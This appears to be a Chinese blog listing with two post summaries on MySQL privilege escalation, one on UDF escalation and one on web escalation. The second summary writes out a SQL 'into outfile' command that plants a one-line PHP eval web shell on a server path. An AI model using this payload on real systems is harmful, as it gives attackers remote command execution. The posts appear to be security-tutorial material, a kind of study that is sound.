摘要：参考资料： https://blog.csdn.net/qq_44159028/article/details/121193134 UDF提权 有时候我们通过一些方式获取了目标主机mysql的用户名和密码，并且可以远程连接。我们远程登录上了mysql服务器，这时，我们想通过mysql来执行系统命令， 阅读全文

摘要：一.web权限提升 1.sql写入数据库木马 mysql：select '< eval($_POST['a']);?>' into outfile"D:\phpstudy\www\1.php" 里面有个问号，博客园自动过滤了 阅读全文